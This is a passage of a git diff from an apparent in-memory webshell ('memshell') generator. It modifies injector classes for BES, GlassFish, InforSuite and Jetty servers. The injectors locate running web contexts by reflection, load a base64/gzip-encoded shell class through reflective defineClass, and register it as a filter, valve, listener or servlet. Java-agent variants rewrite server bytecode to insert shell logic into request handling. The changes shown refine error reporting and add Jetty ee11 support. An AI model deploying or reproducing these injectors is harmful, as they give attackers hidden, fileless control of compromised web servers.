(valve.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object valve) throws Exception { Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object v : valvesList) { + if (v.getClass().getName().contains(getClassName())) { + return; + } } Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve"); // com.bes.enterprise.webtier.core.DefaultPipeline invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); } + @Override + public String toString() { + return msg; + } + @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -142,7 +161,7 @@ public class BesValveInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -170,4 +189,19 @@ public class BesValveInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java index ba986f21..cc23793a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java @@ -40,7 +40,6 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); } } } @@ -61,6 +60,7 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Throwable e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java index 97ba59e1..28022bb2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java @@ -40,7 +40,6 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); } } } @@ -61,6 +60,7 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer { String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Throwable e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index 213a5d17..e9e3d3fd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -13,15 +14,12 @@ import java.util.Set; import java.util.zip.GZIPInputStream; /** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275 - * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 - * - * @author ReaJason + * @author pen4uin, ReaJason */ public class GlassFishFilterInjector { + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -35,18 +33,42 @@ public class GlassFishFilterInjector { } public GlassFishFilterInjector() { + List contexts = null; try { - List contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - // skip glassfish /osgi context - if (getFieldValue(context, "serverContext") != null) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { Object shell = getShell(context); inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } /** @@ -79,22 +101,23 @@ public class GlassFishFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object shell) throws Exception { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter already injected"); return; } Object filterDef; @@ -138,7 +161,11 @@ public class GlassFishFilterInjector { Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); filterConfigs.put(getClassName(), filterConfig); - System.out.println("filter inject success"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -208,6 +235,22 @@ public class GlassFishFilterInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index e3de8fb0..8c168a3d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream; */ public class GlassFishValveInjector { - public GlassFishValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -33,6 +24,46 @@ public class GlassFishValveInjector { return "{{base64Str}}"; } + + public GlassFishValveInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -49,7 +80,7 @@ public class GlassFishValveInjector { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); } catch (Exception e) { @@ -60,40 +91,38 @@ public class GlassFishValveInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { + // OSGI 类加载限制,加密相关函数找不到,这儿不得不使用 WebAppClassLoader ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object valve) throws Exception { Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object v : valvesList) { + if (v.getClass().getName().contains(getClassName())) { + return; + } } Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); - System.out.println("valve injected successfully"); } - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { - Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -141,7 +170,7 @@ public class GlassFishValveInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -169,4 +198,19 @@ public class GlassFishValveInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index a65fa0f0..0e040ddb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.inforsuite; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -14,19 +15,8 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class InforSuiteFilterInjector { - Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName()); - public InforSuiteFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -40,6 +30,45 @@ public class InforSuiteFilterInjector { return "{{base64Str}}"; } + public InforSuiteFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * com.cvicse.loong.enterprise.web.WebModule * /usr/local/inforsuite/as/modules/web-glue.jar @@ -71,22 +100,23 @@ public class InforSuiteFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { String filterName = getClassName(); if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - log.warning("filter already exists"); return; } ClassLoader contextClassLoader = context.getClass().getClassLoader(); @@ -114,7 +144,11 @@ public class InforSuiteFilterInjector { filterConfigs = (HashMap) getFieldValue(context, "iasFilterConfigs"); } filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -198,4 +232,19 @@ public class InforSuiteFilterInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 29b76502..7f06ae81 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.*; import java.util.ArrayList; import java.util.List; @@ -17,17 +18,7 @@ import java.util.zip.GZIPInputStream; public class JettyFilterInjector { - public JettyFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -41,13 +32,49 @@ public class JettyFilterInjector { return "{{base64Str}}"; } + public JettyFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public void inject(Object context, Object filter) throws Exception { Object servletHandler = getFieldValue(context, "_servletHandler"); - if (servletHandler == null) { - return; - } + if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter is already injected"); return; } @@ -56,6 +83,7 @@ public class JettyFilterInjector { "org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterHolder", + "org.eclipse.jetty.ee11.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterHolder", }; @@ -78,7 +106,6 @@ public class JettyFilterInjector { invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); moveFilterToFirst(servletHandler); invokeMethod(servletHandler, "invalidateChainsCache"); - System.out.println("filter added successfully"); } private void moveFilterToFirst(Object servletHandler) throws Exception { @@ -102,7 +129,6 @@ public class JettyFilterInjector { } } else if (filterMaps instanceof ArrayList) { ArrayList filterList = (ArrayList) filterMaps; - filterLength = filterList.size(); for (Object filter : filterList) { String filterName = (String) getFieldValue(filter, "_filterName"); if (filterName.equals(getClassName())) { @@ -113,11 +139,14 @@ public class JettyFilterInjector { } filterList.clear(); filterList.addAll(reorderedFilters); - } else { - throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList"); } } + @Override + public String toString() { + return msg; + } + /** * org.mortbay.jetty.webapp.WebAppContext * org.eclipse.jetty.webapp.WebAppContext @@ -165,16 +194,18 @@ public class JettyFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @@ -223,7 +254,7 @@ public class JettyFilterInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { @@ -257,4 +288,19 @@ public class JettyFilterInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java index 41dd2014..aab64cc4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java @@ -21,9 +21,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer { "org/eclipse/jetty/ee8/servlet/ServletHandler", "org/eclipse/jetty/ee9/servlet/ServletHandler", "org/eclipse/jetty/ee10/servlet/ServletHandler$Chain", + "org/eclipse/jetty/ee11/servlet/ServletHandler$Chain", "org/mortbay/jetty/servlet/ServletHandler" ); - private static String targetMethodName = "doHandle"; public static String getClassName() { return "{{advisorName}}"; @@ -48,14 +48,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer { String name = allLoadedClass.getName(); for (String targetClass : TARGET_CLASSES) { if (targetClass.replace("/", ".").equals(name)) { - if (name.contains("mortbay")) { - targetMethodName = "handle"; - } - if (name.contains("ee10")) { - targetMethodName = "doFilter"; - } inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at " + name + "." + targetMethodName); } } } @@ -66,10 +59,11 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer { public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { if (TARGET_CLASSES.contains(className)) { + String targetMethodName = ""; if (className.contains("mortbay")) { targetMethodName = "handle"; } - if (className.contains("ee10")) { + if (className.contains("ee10") || className.contains("ee11")) { targetMethodName = "doFilter"; } defineTargetClass(loader); @@ -81,8 +75,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer { return loader; } }; - ClassVisitor cv = getClassVisitor(cw); + ClassVisitor cv = getClassVisitor(cw, targetMethodName); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + targetMethodName); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -92,19 +87,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer { } @SuppressWarnings("all") - public static ClassVisitor getClassVisitor(ClassVisitor cv) { + public static ClassVisitor getClassVisitor(ClassVisitor cv, String targetMethodName) { return new ClassVisitor(Opcodes.ASM9, cv) { @Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (targetMethodName.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 6f50db30..66af3609 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; @@ -14,22 +15,49 @@ import java.util.Set; import java.util.zip.GZIPInputStream; /** - * tested v7、v8、v9 - * * @author ReaJason */ public class JettyListenerInjector { + private String msg = ""; + public JettyListenerInjector() { + List contexts = null; try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public String getClassName() { @@ -80,30 +108,21 @@ public class JettyListenerInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } - public static void inject(Object context, Object listener) throws Exception { - if (isInjected(context, listener.getClass().getName())) { - System.out.println("listener is already injected"); - return; - } - invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); - System.out.println("listener added successfully"); - } - - @SuppressWarnings("unchecked") - public static boolean isInjected(Object context, String className) throws Exception { - // jetty v8、 v9 + public void inject(Object context, Object listener) throws Exception { Object object = invokeMethod(context, "getEventListeners"); Object[] eventListeners = new Object[0]; if (object instanceof List) { @@ -112,11 +131,16 @@ public class JettyListenerInjector { eventListeners = (Object[]) object; } for (Object eventListener : eventListeners) { - if (eventListener.getClass().getName().contains(className)) { - return true; + if (eventListener.getClass().getName().contains(getClassName())) { + return ; } } - return false; + invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -165,7 +189,7 @@ public class JettyListenerInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { @@ -199,4 +223,19 @@ public class JettyListenerInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 08533129..70ef0e8c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.*; import java.util.ArrayList; import java.util.List; @@ -15,17 +16,7 @@ import java.util.zip.GZIPInputStream; */ public class JettyServletInjector { - public JettyServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); 